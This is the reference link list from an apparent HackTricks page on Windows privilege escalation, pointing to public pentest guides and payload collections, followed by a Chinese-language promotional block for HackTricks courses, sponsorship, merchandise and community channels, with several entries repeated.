* [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)\
* [https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/](https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/)\
* [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)\
* [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)\
* [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html)\\
* [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738)\\
* [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)\\
* [https://github.com/sagishahar/lpeworkshop](https://github.com/sagishahar/lpeworkshop)\\
* [https://www.youtube.com/watch?v=_8xJaaQlpBo](https://www.youtube.com/watch?v=_8xJaaQlpBo)\\
* [https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html](https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html)\\
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)\\
* [https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)\\
* [https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md](https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md)\\
* [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)\\
* [https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/](https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/)\\
* [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)\\
* [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)\\
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections)
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* 您在**网络安全公司**工作吗? 想要在**HackTricks中宣传您的公司**吗? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF** 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 您在**网络安全公司**工作吗?您想在**HackTricks中看到您的公司广告**吗?或者您想访问**PEASS的最新版本或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向[hacktricks repo**](https://github.com/carlospolop/hacktricks) **** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
</details>